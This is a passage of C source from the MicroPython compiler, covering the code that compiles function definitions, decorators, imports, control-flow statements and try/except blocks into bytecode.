c_assign_tuple(comp, p0, NULL, NULL); } else if (pt_is_rule(p1, PN_testlist_comp_3c)) { // sequence of many items p1 = pt_rule_extract_top(p1, &ptop); c_assign_tuple(comp, p0, p1, ptop); } else if (pt_is_rule(p1, PN_comp_for)) { goto cannot_assign; } else { // sequence with 2 items c_assign_tuple(comp, NULL, p0, pt_next(p1)); } } return; cannot_assign: compile_syntax_error(comp, p, "can't assign to expression"); return; bad_aug: compile_syntax_error(comp, p, "illegal expression for augmented assignment"); } // stuff for lambda and comprehensions and generators: // if n_pos_defaults > 0 then there is a tuple on the stack with the positional defaults // if n_kw_defaults > 0 then there is a dictionary on the stack with the keyword defaults // if both exist, the tuple is above the dictionary (ie the first pop gets the tuple) STATIC void close_over_variables_etc(compiler_t *comp, scope_t *this_scope, int n_pos_defaults, int n_kw_defaults) { assert(n_pos_defaults >= 0); assert(n_kw_defaults >= 0); // set flags if (n_kw_defaults > 0) { this_scope->scope_flags |= MP_SCOPE_FLAG_DEFKWARGS; } this_scope->num_def_pos_args = n_pos_defaults; // make closed over variables, if any // ensure they are closed over in the order defined in the outer scope (mainly to agree with CPython) int nfree = 0; if (comp->scope_cur->kind != SCOPE_MODULE) { for (int i = 0; i < comp->scope_cur->id_info_len; i++) { id_info_t *id = &comp->scope_cur->id_info[i]; if (id->kind == ID_INFO_KIND_CELL || id->kind == ID_INFO_KIND_FREE) { for (int j = 0; j < this_scope->id_info_len; j++) { id_info_t *id2 = &this_scope->id_info[j]; if (id2->kind == ID_INFO_KIND_FREE && id->qst == id2->qst) { // in Micro Python we load closures using LOAD_FAST EMIT_LOAD_FAST(id->qst, id->local_num); nfree += 1; } } } } } // make the function/closure if (nfree == 0) { EMIT_ARG(make_function, this_scope, n_pos_defaults, n_kw_defaults); } else { EMIT_ARG(make_closure, this_scope, nfree, n_pos_defaults, n_kw_defaults); } } STATIC void compile_funcdef_lambdef_param(compiler_t *comp, const byte *p) { const byte *p_orig = p; if (pt_is_rule(p, PN_typedargslist_star) || pt_is_rule(p, PN_varargslist_star)) { comp->have_star = true; /* don't need to distinguish bare from named star mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) { // bare star } else { // named star } */ } else if (pt_is_rule(p, PN_typedargslist_dbl_star) || pt_is_rule(p, PN_varargslist_dbl_star)) { // named double star // TODO do we need to do anything with this? } else { const byte *p_id; const byte *p_colon = NULL; const byte *p_equal = NULL; if (pt_is_any_id(p)) { // this parameter is just an id p_id = p; } else if (pt_is_rule(p, PN_typedargslist_name)) { // this parameter has a colon and/or equal specifier const byte *ptop; p = pt_rule_extract_top(p, &ptop); p_id = p; p = pt_next(p); if (p != ptop) { p_colon = p; p = pt_next(p); if (p != ptop) { p_equal = p; } } } else { assert(pt_is_rule(p, PN_varargslist_name)); // should be // this parameter has an equal specifier p_id = pt_rule_first(p); p_equal = pt_next(p_id); } qstr q_id; pt_extract_id(p_id, &q_id); if (p_equal == NULL || pt_is_null(p_equal)) { // this parameter does not have a default value // check for non-default parameters given after default parameters (allowed by parser, but not syntactically valid) if (!comp->have_star && comp->num_default_params != 0) { compile_syntax_error(comp, p_orig, "non-default argument follows default argument"); return; } } else { // this parameter has a default value // in CPython, None (and True, False?) as default parameters are loaded with LOAD_NAME; don't understandy why if (comp->have_star) { comp->num_dict_params += 1; // in Micro Python we put the default dict parameters into a dictionary using the bytecode if (comp->num_dict_params == 1) { // in Micro Python we put the default positional parameters into a tuple using the bytecode // we need to do this here before we start building the map for the default keywords if (comp->num_default_params > 0) { EMIT_ARG(build_tuple, comp->num_default_params); } else { EMIT(load_null); // sentinel indicating empty default positional args } // first default dict param, so make the map EMIT_ARG(build_map, 0); } // compile value then key, then store it to the dict compile_node(comp, p_equal); EMIT_ARG(load_const_str, q_id); EMIT(store_map); } else { comp->num_default_params += 1; compile_node(comp, p_equal); } } // TODO p_colon not implemented (void)p_colon; } } STATIC void compile_funcdef_lambdef(compiler_t *comp, scope_t *scope, const byte *p, pn_kind_t pn_list_kind) { // When we call compile_funcdef_lambdef_param below it can compile an arbitrary // expression for default arguments, which may contain a lambda. The lambda will // call here in a nested way, so we must save and restore the relevant state. bool orig_have_star = comp->have_star; uint16_t orig_num_dict_params = comp->num_dict_params; uint16_t orig_num_default_params = comp->num_default_params; // compile default parameters comp->have_star = false; comp->num_dict_params = 0; comp->num_default_params = 0; apply_to_single_or_list(comp, p, pn_list_kind, compile_funcdef_lambdef_param); if (comp->compile_error != MP_OBJ_NULL) { return; } // in Micro Python we put the default positional parameters into a tuple using the bytecode // the default keywords args may have already made the tuple; if not, do it now if (comp->num_default_params > 0 && comp->num_dict_params == 0) { EMIT_ARG(build_tuple, comp->num_default_params); EMIT(load_null); // sentinel indicating empty default keyword args } // make the function close_over_variables_etc(comp, scope, comp->num_default_params, comp->num_dict_params); // restore state comp->have_star = orig_have_star; comp->num_dict_params = orig_num_dict_params; comp->num_default_params = orig_num_default_params; } // leaves function object on stack // returns function name STATIC qstr compile_funcdef_helper(compiler_t *comp, const byte *p, uint emit_options) { mp_int_t scope_idx; p = pt_get_small_int(p, &scope_idx); if (comp->pass == MP_PASS_SCOPE) { // create a new scope for this function scope_new_and_link(comp, scope_idx, SCOPE_FUNCTION, p, emit_options); } p = pt_next(p); // skip function name // get the scope for this function scope_t *fscope = comp->scopes[scope_idx]; // compile the function definition compile_funcdef_lambdef(comp, fscope, p, PN_typedargslist); // return its name (the 'f' in "def f(...):") return fscope->simple_name; } // leaves class object on stack // returns class name STATIC qstr compile_classdef_helper(compiler_t *comp, const byte *p, uint emit_options) { mp_int_t scope_idx; p = pt_get_small_int(p, &scope_idx); if (comp->pass == MP_PASS_SCOPE) { // create a new scope for this class scope_new_and_link(comp, scope_idx, SCOPE_CLASS, p, emit_options); } EMIT(load_build_class); // scope for this class scope_t *cscope = comp->scopes[scope_idx]; // compile the class close_over_variables_etc(comp, cscope, 0, 0); // get its name EMIT_ARG(load_const_str, cscope->simple_name); // second node has parent classes, if any // empty parenthesis (eg class C():) gets here as an empty PN_classdef_2 and needs special handling const byte *p_parents = pt_next(p); if (pt_is_rule(p_parents, PN_classdef_2)) { p_parents = NULL; } compile_trailer_paren_helper(comp, p_parents, false, 2); // return its name (the 'C' in class C(...):") return cscope->simple_name; } // returns true if it was a built-in decorator (even if the built-in had an error) STATIC bool compile_built_in_decorator(compiler_t *comp, const byte *p, const byte *ptop, uint *emit_options) { qstr qst; p = pt_extract_id(p, &qst); if (qst != MP_QSTR_micropython) { return false; } if (p >= ptop || pt_next(p) != ptop) { compile_syntax_error(comp, NULL, "invalid micropython decorator"); return true; } qstr attr; p = pt_extract_id(p, &attr); if (attr == MP_QSTR_bytecode) { *emit_options = MP_EMIT_OPT_BYTECODE; #if MICROPY_EMIT_NATIVE } else if (attr == MP_QSTR_native) { *emit_options = MP_EMIT_OPT_NATIVE_PYTHON; } else if (attr == MP_QSTR_viper) { *emit_options = MP_EMIT_OPT_VIPER; #endif #if MICROPY_EMIT_INLINE_ASM } else if (attr == ASM_DECORATOR_QSTR) { *emit_options = MP_EMIT_OPT_ASM; #endif } else { compile_syntax_error(comp, NULL, "invalid micropython decorator"); } return true; } STATIC void compile_decorated(compiler_t *comp, const byte *p, const byte *ptop) { // get the list of decorators ptop = mp_parse_node_extract_list(&p, PN_decorators); // inherit emit options for this function/class definition uint emit_options = comp->scope_cur->emit_options; // compile each decorator int num_non_built_in_decorators = 0; while (p != ptop) { assert(pt_is_rule(p, PN_decorator)); // should be const byte *ptop_decorator; p = pt_rule_extract_top(p, &ptop_decorator); // first node contains the decorator function, which is a dotted name const byte *ptop_dotted_name = mp_parse_node_extract_list(&p, PN_dotted_name); // check for built-in decorators if (compile_built_in_decorator(comp, p, ptop_dotted_name, &emit_options)) { // this was a built-in } else { // not a built-in, compile normally num_non_built_in_decorators += 1; // compile the decorator function p = compile_node(comp, p); while (p != ptop_dotted_name) { assert(pt_is_any_id(p)); // should be qstr qst; p = pt_extract_id(p, &qst); EMIT_ARG(load_attr, qst); } // nodes[1] contains arguments to the decorator function, if any if (!pt_is_null_with_top(p, ptop_decorator)) { // call the decorator function with the arguments in nodes[1] compile_node(comp, p); } } p = ptop_decorator; } // compile the body (funcdef or classdef) and get its name qstr body_name = 0; p = pt_rule_first(ptop); // skip the rule header if (pt_is_rule(ptop, PN_funcdef)) { body_name = compile_funcdef_helper(comp, p, emit_options); } else { assert(pt_is_rule(ptop, PN_classdef)); // should be body_name = compile_classdef_helper(comp, p, emit_options); } // call each decorator while (num_non_built_in_decorators-- > 0) { EMIT_ARG(call_function, 1, 0, 0); } // store func/class object into name compile_store_id(comp, body_name); } STATIC void compile_funcdef(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; qstr fname = compile_funcdef_helper(comp, p, comp->scope_cur->emit_options); // store function object into function name compile_store_id(comp, fname); } STATIC void c_del_stmt(compiler_t *comp, const byte *p) { if (pt_is_any_id(p)) { qstr id; pt_extract_id(p, &id); compile_delete_id(comp, id); } else if (pt_is_rule(p, PN_atom_expr_normal)) { const byte *ptop; const byte *p0 = pt_rule_extract_top(p, &ptop); const byte *p1 = compile_node(comp, p0); // base of the power node if (pt_is_rule(p1, PN_atom_expr_trailers)) { const byte *p1top; p1 = pt_rule_extract_top(p1, &p1top); for (;;) { const byte *p1next = pt_next(p1); if (p1next == p1top) { break; } compile_node(comp, p1); p1 = p1next; } // p1 now points to final trailer for delete } const byte *p2; if (pt_is_rule(p1, PN_trailer_bracket)) { p2 = compile_node(comp, pt_rule_first(p1)); EMIT(delete_subscr); } else if (pt_is_rule(p1, PN_trailer_period)) { qstr id; p2 = pt_extract_id(pt_rule_first(p1), &id); EMIT_ARG(delete_attr, id); } else { goto cannot_delete; } if (!pt_is_null_with_top(p2, ptop)) { goto cannot_delete; } } else if (pt_is_rule(p, PN_atom_paren)) { if (pt_is_rule_empty(p)) { goto cannot_delete; } else { p = pt_rule_first(p); assert(pt_is_rule(p, PN_testlist_comp)); // TODO perhaps factorise testlist_comp code with other uses of PN_testlist_comp // or, simplify the logic here my making the parser simplify everything to a list const byte *p0 = pt_rule_first(p); c_del_stmt(comp, p0); const byte *p1 = pt_next(p0); if (pt_is_rule(p1, PN_testlist_comp_3b)) { // sequence of one item, with trailing comma assert(pt_is_rule_empty(p1)); } else if (pt_is_rule(p1, PN_testlist_comp_3c)) { // sequence of many items const byte *ptop; p1 = pt_rule_extract_top(p1, &ptop); while (p1 != ptop) { c_del_stmt(comp, p1); p1 = pt_next(p1); } } else if (pt_is_rule(p1, PN_comp_for)) { goto cannot_delete; } else { // sequence with 2 items c_del_stmt(comp, p1); } } } else { // some arbitrary statment that we can't delete (eg del 1) goto cannot_delete; } return; cannot_delete: compile_syntax_error(comp, p, "can't delete expression"); } STATIC void compile_del_stmt(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; apply_to_single_or_list(comp, p, PN_exprlist, c_del_stmt); } STATIC void compile_break_stmt(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; if (comp->break_label == INVALID_LABEL) { compile_syntax_error(comp, p, "'break' outside loop"); } assert(comp->cur_except_level >= comp->break_continue_except_level); EMIT_ARG(break_loop, comp->break_label, comp->cur_except_level - comp->break_continue_except_level); } STATIC void compile_continue_stmt(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; if (comp->continue_label == INVALID_LABEL) { compile_syntax_error(comp, p, "'continue' outside loop"); } assert(comp->cur_except_level >= comp->break_continue_except_level); EMIT_ARG(continue_loop, comp->continue_label, comp->cur_except_level - comp->break_continue_except_level); } STATIC void compile_return_stmt(compiler_t *comp, const byte *p, const byte *ptop) { if (comp->scope_cur->kind != SCOPE_FUNCTION) { compile_syntax_error(comp, NULL, "'return' outside function"); return; } if (pt_is_null_with_top(p, ptop)) { // no argument to 'return', so return None EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); #if 0 // TODO do we need this optimisation? i guess it's hardly used } else if (pt_is_rule(p, PN_test_if_expr)) { // special case when returning an if-expression; to match CPython optimisation mp_parse_node_struct_t *pns_test_if_expr = (mp_parse_node_struct_t*)pns->nodes[0]; mp_parse_node_struct_t *pns_test_if_else = (mp_parse_node_struct_t*)pns_test_if_expr->nodes[1]; uint l_fail = comp_next_label(comp); c_if_cond(comp, pns_test_if_else->nodes[0], false, l_fail); // condition compile_node(comp, pns_test_if_expr->nodes[0]); // success value EMIT(return_value); EMIT_ARG(label_assign, l_fail); compile_node(comp, pns_test_if_else->nodes[1]); // failure value #endif } else { compile_node(comp, p); } EMIT(return_value); } STATIC void compile_yield_stmt(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; compile_node(comp, p); EMIT(pop_top); } STATIC void compile_raise_stmt(compiler_t *comp, const byte *p, const byte *ptop) { if (pt_is_null_with_top(p, ptop)) { // raise EMIT_ARG(raise_varargs, 0); } else if (pt_is_rule(p, PN_raise_stmt_arg)) { // raise x from y p = pt_rule_first(p); p = compile_node(comp, p); compile_node(comp, p); EMIT_ARG(raise_varargs, 2); } else { // raise x compile_node(comp, p); EMIT_ARG(raise_varargs, 1); } } // q_base holds the base of the name // eg a -> q_base=a // a.b.c -> q_base=a STATIC void do_import_name(compiler_t *comp, const byte *p, qstr *q_base) { bool is_as = false; if (p != NULL && pt_is_rule(p, PN_dotted_as_name)) { // a name of the form x as y; unwrap it p = pt_rule_first(p); // point to 'x' pt_extract_id(pt_next(p), q_base); // extract 'y' is_as = true; } if (p == NULL || pt_is_null(p)) { // empty name (eg, from . import x) *q_base = MP_QSTR_; EMIT_ARG(import_name, MP_QSTR_); // import the empty string } else if (pt_is_any_id(p)) { // just a simple name qstr q_full; pt_extract_id(p, &q_full); if (!is_as) { *q_base = q_full; } EMIT_ARG(import_name, q_full); } else { // a name of the form a.b.c assert(pt_is_rule(p, PN_dotted_name)); // should be const byte *ptop; p = pt_rule_extract_top(p, &ptop); if (!is_as) { pt_extract_id(p, q_base); } // work out string length int len = -1; for (const byte *p2 = p; p2 != ptop;) { qstr qst; p2 = pt_extract_id(p2, &qst); len += 1 + qstr_len(qst); } // build string byte *q_ptr; byte *str_dest = qstr_build_start(len, &q_ptr); for (const byte *p2 = p; p2 != ptop;) { if (p2 > p) { *str_dest++ = '.'; } qstr qst; p2 = pt_extract_id(p2, &qst); size_t str_src_len; const byte *str_src = qstr_data(qst, &str_src_len); memcpy(str_dest, str_src, str_src_len); str_dest += str_src_len; } qstr q_full = qstr_build_end(q_ptr); EMIT_ARG(import_name, q_full); if (is_as) { for (const byte *p2 = pt_next(p); p2 != ptop;) { qstr qst; p2 = pt_extract_id(p2, &qst); EMIT_ARG(load_attr, qst); } } } } STATIC void compile_dotted_as_name(compiler_t *comp, const byte *p) { EMIT_ARG(load_const_small_int, 0); // level 0 import EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); // not importing from anything qstr q_base; do_import_name(comp, p, &q_base); compile_store_id(comp, q_base); } STATIC void compile_import_name(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; apply_to_single_or_list(comp, p, PN_dotted_as_names, compile_dotted_as_name); } STATIC void compile_import_from(compiler_t *comp, const byte *p, const byte *ptop) { const byte *p_import_source = p; // extract the preceeding .'s (if any) for a relative import, to compute the import level uint import_level = 0; do { const byte *p_rel; if (pt_is_any_tok(p_import_source) || pt_is_rule(p_import_source, PN_one_or_more_period_or_ellipsis)) { // This covers relative imports with dots only like "from .. import" p_rel = p_import_source; p_import_source = NULL; } else if (pt_is_rule(p_import_source, PN_import_from_2b)) { // This covers relative imports starting with dot(s) like "from .foo import" p_rel = pt_rule_first(p_import_source); p_import_source = pt_next(p_rel); } else { // Not a relative import break; } // get the list of . and/or ...'s const byte *p_rel_top = mp_parse_node_extract_list(&p_rel, PN_one_or_more_period_or_ellipsis); // count the total number of .'s while (p_rel != p_rel_top) { if (pt_is_tok(p_rel, MP_TOKEN_DEL_PERIOD)) { import_level++; } else { // should be an MP_TOKEN_ELLIPSIS import_level += 3; } p_rel = pt_next(p_rel); } } while (0); p = pt_next(p); if (pt_is_tok(p, MP_TOKEN_OP_STAR)) { EMIT_ARG(load_const_small_int, import_level); // build the "fromlist" tuple EMIT_ARG(load_const_str, MP_QSTR__star_); EMIT_ARG(build_tuple, 1); // do the import qstr dummy_q; do_import_name(comp, p_import_source, &dummy_q); EMIT(import_star); } else { EMIT_ARG(load_const_small_int, import_level); // build the "fromlist" tuple ptop = mp_parse_node_extract_list(&p, PN_import_as_names); uint n = 0; for (const byte *p_list = p; p_list < ptop; p_list = pt_next(p_list), ++n) { assert(pt_is_rule(p_list, PN_import_as_name)); qstr id2; pt_extract_id(pt_rule_first(p_list), &id2); EMIT_ARG(load_const_str, id2); } EMIT_ARG(build_tuple, n); // do the import qstr dummy_q; do_import_name(comp, p_import_source, &dummy_q); for (const byte *p_list = p; p_list < ptop;) { assert(pt_is_rule(p_list, PN_import_as_name)); const byte *p_list_top; p_list = pt_rule_extract_top(p_list, &p_list_top); qstr id2; p_list = pt_extract_id(p_list, &id2); EMIT_ARG(import_from, id2); if (p_list == p_list_top) { compile_store_id(comp, id2); } else { qstr id3; p_list = pt_extract_id(p_list, &id3); compile_store_id(comp, id3); } } EMIT(pop_top); } } STATIC void compile_declare_global(compiler_t *comp, const byte *p_for_err, qstr qst) { bool added; id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, qst, &added); if (!added && id_info->kind != ID_INFO_KIND_GLOBAL_EXPLICIT) { compile_syntax_error(comp, p_for_err, "identifier redefined as global"); return; } id_info->kind = ID_INFO_KIND_GLOBAL_EXPLICIT; // if the id exists in the global scope, set its kind to EXPLICIT_GLOBAL id_info = scope_find_global(comp->scope_cur, qst); if (id_info != NULL) { id_info->kind = ID_INFO_KIND_GLOBAL_EXPLICIT; } } STATIC void compile_global_stmt(compiler_t *comp, const byte *p, const byte *ptop) { if (comp->pass == MP_PASS_SCOPE) { const byte *p_orig = p; ptop = mp_parse_node_extract_list(&p, PN_name_list); while (p != ptop) { qstr qst; p = pt_extract_id(p, &qst); compile_declare_global(comp, p_orig, qst); } } } STATIC void compile_declare_nonlocal(compiler_t *comp, const byte *p_for_err, qstr qst) { bool added; id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, qst, &added); if (added) { scope_find_local_and_close_over(comp->scope_cur, id_info, qst); if (id_info->kind == ID_INFO_KIND_GLOBAL_IMPLICIT) { compile_syntax_error(comp, p_for_err, "no binding for nonlocal found"); } } else if (id_info->kind != ID_INFO_KIND_FREE) { compile_syntax_error(comp, p_for_err, "identifier redefined as nonlocal"); } } STATIC void compile_nonlocal_stmt(compiler_t *comp, const byte *p, const byte *ptop) { if (comp->pass == MP_PASS_SCOPE) { if (comp->scope_cur->kind == SCOPE_MODULE) { compile_syntax_error(comp, p, "can't declare nonlocal in outer code"); return; } const byte *p_orig = p; ptop = mp_parse_node_extract_list(&p, PN_name_list); while (p != ptop) { qstr qst; p = pt_extract_id(p, &qst); compile_declare_nonlocal(comp, p_orig, qst); } } } STATIC void compile_assert_stmt(compiler_t *comp, const byte *p, const byte *ptop) { // with optimisations enabled we don't compile assertions if (MP_STATE_VM(mp_optimise_value) != 0) { return; } uint l_end = comp_next_label(comp); p = c_if_cond(comp, p, true, l_end); EMIT_LOAD_GLOBAL(MP_QSTR_AssertionError); // we load_global instead of load_id, to be consistent with CPython if (!pt_is_null_with_top(p, ptop)) { // assertion message compile_node(comp, p); EMIT_ARG(call_function, 1, 0, 0); } EMIT_ARG(raise_varargs, 1); EMIT_ARG(label_assign, l_end); } STATIC void compile_if_stmt(compiler_t *comp, const byte *p, const byte *ptop) { // TODO proper and/or short circuiting uint l_end = comp_next_label(comp); // optimisation: don't emit anything when "if False" if (node_is_const_false(p)) { p = pt_next(p); // skip if condition p = pt_next(p); // skip if block } else { uint l_fail = comp_next_label(comp); bool if_true = node_is_const_true(p); p = c_if_cond(comp, p, false, l_fail); // if condition p = compile_node(comp, p); // if block // optimisation: skip everything else when "if True" if (if_true) { goto done; } if ( // optimisation: don't jump over non-existent elif/else blocks !(pt_is_null_with_top(p, ptop) && pt_is_null_with_top(pt_next(p), ptop)) // optimisation: don't jump if last instruction was return && !EMIT(last_emit_was_return_value) ) { // jump over elif/else blocks EMIT_ARG(jump, l_end); } EMIT_ARG(label_assign, l_fail); } // at this point p points to elif node (which may not exist) // compile elif blocks (if any) if (p != ptop) { const byte *p_else_top = mp_parse_node_extract_list(&p, PN_if_stmt_elif_list); while (p != p_else_top) { assert(pt_is_rule(p, PN_if_stmt_elif)); // should be p = pt_rule_first(p); // optimisation: don't emit anything when "if False" if (node_is_const_false(p)) { p = pt_next(p); // skip elif condition p = pt_next(p); // skip elif block } else { uint l_fail = comp_next_label(comp); bool elif_true = node_is_const_true(p); p = c_if_cond(comp, p, false, l_fail); // elif condition p = compile_node(comp, p); // elif block // optimisation: skip everything else when "elif True" if (elif_true) { goto done; } // optimisation: don't jump if last instruction was return if (!EMIT(last_emit_was_return_value)) { EMIT_ARG(jump, l_end); } EMIT_ARG(label_assign, l_fail); } } // compile else block (if any) if (p != ptop) { compile_node(comp, p); } } done: EMIT_ARG(label_assign, l_end); } #define START_BREAK_CONTINUE_BLOCK \ uint16_t old_break_label = comp->break_label; \ uint16_t old_continue_label = comp->continue_label; \ uint16_t old_break_continue_except_level = comp->break_continue_except_level; \ uint break_label = comp_next_label(comp); \ uint continue_label = comp_next_label(comp); \ comp->break_label = break_label; \ comp->continue_label = continue_label; \ comp->break_continue_except_level = comp->cur_except_level; #define END_BREAK_CONTINUE_BLOCK \ comp->break_label = old_break_label; \ comp->continue_label = old_continue_label; \ comp->break_continue_except_level = old_break_continue_except_level; STATIC void compile_while_stmt(compiler_t *comp, const byte *p, const byte *ptop) { START_BREAK_CONTINUE_BLOCK const byte *p_body = pt_next(p); const byte *p_else = pt_next(p_body); if (!node_is_const_false(p)) { // optimisation: don't emit anything for "while False" uint top_label = comp_next_label(comp); if (!node_is_const_true(p)) { // optimisation: don't jump to cond for "while True" EMIT_ARG(jump, continue_label); } EMIT_ARG(label_assign, top_label); compile_node(comp, p_body); // body EMIT_ARG(label_assign, continue_label); c_if_cond(comp, p, true, top_label); // condition } // break/continue apply to outer loop (if any) in the else block END_BREAK_CONTINUE_BLOCK if (p_else != ptop) { compile_node(comp, p_else); // else } EMIT_ARG(label_assign, break_label); } // This function compiles an optimised for-loop of the form: // for in range(, , ): // // else: // // must be an identifier and must be a small-int. // // Semantics of for-loop require: // - final failing value should not be stored in the loop variable // - if the loop never runs, the loop variable should never be assigned // - assignments to , or in the body do not alter the loop // ( is a constant for us, so no need to worry about it changing) // // If is a small-int, then the stack during the for-loop contains just // the current value of . Otherwise, the stack contains then the // current value of . STATIC void compile_for_stmt_optimised_range(compiler_t *comp, const byte *pn_var, const byte *pn_start, const byte *pn_end, mp_int_t step, const byte *pn_body, const byte *pn_else) { START_BREAK_CONTINUE_BLOCK uint top_label = comp_next_label(comp); uint entry_label = comp_next_label(comp); // put the end value on the stack if it's not a small-int constant bool end_on_stack = !pt_is_small_int(pn_end); if (end_on_stack) { compile_node(comp, pn_end); } // compile: start compile_node(comp, pn_start); EMIT_ARG(jump, entry_label); EMIT_ARG(label_assign, top_label); // duplicate next value and store it to var EMIT(dup_top); c_assign(comp, pn_var, ASSIGN_STORE); // compile body compile_node(comp, pn_body); EMIT_ARG(label_assign, continue_label); // compile: var + step EMIT_ARG(load_const_small_int, step); EMIT_ARG(binary_op, MP_BINARY_OP_INPLACE_ADD); EMIT_ARG(label_assign, entry_label); // compile: if var end: goto top if (end_on_stack) { EMIT(dup_top_two); EMIT(rot_two); } else { EMIT(dup_top); compile_node(comp, pn_end); } if (step >= 0) { EMIT_ARG(binary_op, MP_BINARY_OP_LESS); } else { EMIT_ARG(binary_op, MP_BINARY_OP_MORE); } EMIT_ARG(pop_jump_if, true, top_label); // break/continue apply to outer loop (if any) in the else block END_BREAK_CONTINUE_BLOCK // Compile the else block. We must pop the iterator variables before // executing the else code because it may contain break/continue statements. uint end_label = 0; if (pn_else != NULL) { // discard final value of "var", and possible "end" value EMIT(pop_top); if (end_on_stack) { EMIT(pop_top); } compile_node(comp, pn_else); end_label = comp_next_label(comp); EMIT_ARG(jump, end_label); EMIT_ARG(adjust_stack_size, 1 + end_on_stack); } EMIT_ARG(label_assign, break_label); // discard final value of var that failed the loop condition EMIT(pop_top); // discard value if it's on the stack if (end_on_stack) { EMIT(pop_top); } if (pn_else != NULL) { EMIT_ARG(label_assign, end_label); } } STATIC void compile_for_stmt(compiler_t *comp, const byte *p, const byte *ptop) { // this bit optimises: for in range(...), turning it into an explicitly incremented variable // this is actually slower, but uses no heap memory // for viper it will be much, much faster if (/*comp->scope_cur->emit_options == MP_EMIT_OPT_VIPER &&*/ pt_is_any_id(p) && pt_is_rule(pt_next(p), PN_atom_expr_normal)) { const byte *p_it_top; const byte *p_it0 = pt_rule_extract_top(pt_next(p), &p_it_top); if (!pt_is_id(p_it0, MP_QSTR_range)) { goto optimise_fail; } const byte *p_it1 = pt_next(p_it0); if (pt_is_rule(p_it1, PN_trailer_paren) && !pt_is_rule_empty(p_it1) && pt_next(p_it1) == p_it_top) { // iterator is of the form range(...) with at least 1 arg const byte *p_range_args = pt_rule_first(p_it1); const byte *p_range_args_top = mp_parse_node_extract_list(&p_range_args, PN_arglist); const byte *p_start = pt_const_int0; const byte *p_end = p_range_args; mp_int_t step = 1; p_range_args = pt_next(p_range_args); if (p_range_args != p_range_args_top) { // range has at least 2 args p_start = p_end; p_end = p_range_args; p_range_args = pt_next(p_range_args); if (p_range_args != p_range_args_top) { // range has at least 3 args // We need to know sign of step. This is possible only if it's constant if (!pt_is_small_int(p_range_args)) { goto optimise_fail; } p_range_args = pt_get_small_int(p_range_args, &step); // the step must be non-zero if (step == 0) { goto optimise_fail; } if (p_range_args != p_range_args_top) { // range has at least 4 args, so don't know how to optimise it goto optimise_fail; } } } // arguments must be able to be compiled as standard expressions if (pt_is_any_rule(p_start)) { int k = pt_rule_extract_rule_id(p_start); if (k == PN_arglist_star || k == PN_arglist_dbl_star || k == PN_argument) { goto optimise_fail; } } if (pt_is_any_rule(p_end)) { int k = pt_rule_extract_rule_id(p_end); if (k == PN_arglist_star || k == PN_arglist_dbl_star || k == PN_argument) { goto optimise_fail; } } // can optimise const byte *p_body = p_it_top; const byte *p_else = pt_next(p_body); if (p_else == ptop) { p_else = NULL; } compile_for_stmt_optimised_range(comp, p, p_start, p_end, step, p_body, p_else); return; } } optimise_fail:; START_BREAK_CONTINUE_BLOCK comp->break_label |= MP_EMIT_BREAK_FROM_FOR; uint pop_label = comp_next_label(comp); const byte *p_it = pt_next(p); const byte *p_body = compile_node(comp, p_it); // iterator EMIT_ARG(get_iter, true); EMIT_ARG(label_assign, continue_label); EMIT_ARG(for_iter, pop_label); c_assign(comp, p, ASSIGN_STORE); // variable const byte *p_else = compile_node(comp, p_body); // body if (!EMIT(last_emit_was_return_value)) { EMIT_ARG(jump, continue_label); } EMIT_ARG(label_assign, pop_label); EMIT(for_iter_end); // break/continue apply to outer loop (if any) in the else block END_BREAK_CONTINUE_BLOCK if (p_else != ptop) { compile_node(comp, p_else); // else } EMIT_ARG(label_assign, break_label); } STATIC void compile_try_except(compiler_t *comp, const byte *p_body, const byte *p_except, const byte *p_except_top, const byte *p_else) { // setup code uint l1 = comp_next_label(comp); uint success_label = comp_next_label(comp); EMIT_ARG(setup_except, l1); compile_increase_except_level(comp); compile_node(comp, p_body); // body EMIT(pop_block); EMIT_ARG(jump, success_label); // jump over exception handler EMIT_ARG(label_assign, l1); // start of exception handler EMIT(start_except_handler); // at this point the top of the stack contains the exception instance that was raised uint l2 = comp_next_label(comp); while (p_except != p_except_top) { assert(pt_is_rule(p_except, PN_try_stmt_except)); // should be p_except = pt_rule_first(p_except); qstr qstr_exception_local = 0; uint end_finally_label = comp_next_label(comp); if (pt_is_null(p_except)) { // this is a catch all exception handler if (pt_next(pt_next(p_except)) != p_except_top) { compile_syntax_error(comp, p_except, "default 'except:' must be last"); compile_decrease_except_level(comp); return; } } else { // this exception handler requires a match to a certain type of exception const byte *p_exception_expr = p_except; if (pt_is_rule(p_exception_expr, PN_try_stmt_as_name)) { // handler binds the exception to a local p_exception_expr = pt_rule_first(p_exception_expr); pt_extract_id(pt_next(p_exception_expr), &qstr_exception_local); } EMIT(dup_top); compile_node(comp, p_exception_expr); EMIT_ARG(binary_op, MP_BINARY_OP_EXCEPTION_MATCH); EMIT_ARG(pop_jump_if, false, end_finally_label); } p_except = pt_next(p_except); // either discard or store the exception instance if (qstr_exception_local == 0) { EMIT(pop_top); } else { compile_store_id(comp, qstr_exception_local); } uint l3 = 0; if (qstr_exception_local != 0) { l3 = comp_next_label(comp); EMIT_ARG(setup_finally, l3); compile_increase_except_level(comp); } p_except = compile_node(comp, p_except); if (qstr_exception_local != 0) { EMIT(pop_block); } EMIT(pop_except); if (qstr_exception_local != 0) { EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); EMIT_ARG(label_assign, l3); EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); compile_store_id(comp, qstr_exception_local); compile_delete_id(comp, qstr_exception_local); compile_decrease_except_level(comp); EMIT(end_finally); } EMIT_ARG(jump, l2); EMIT_ARG(label_assign, end_finally_label); EMIT_ARG(adjust_stack_size, 1); // stack adjust for the exception instance } compile_decrease_except_level(comp); EMIT(end_finally); EMIT(end_except_handler); EMIT_ARG(label_assign, success_label); if (p_else != NULL) { compile_node(comp, p_else); // else block } EMIT_ARG(label_assign, l2); } STATIC void compile_try_finally(compiler_t *comp, const byte *p_body, const byte *p_except, const byte *p_except_top, const byte *p_else, 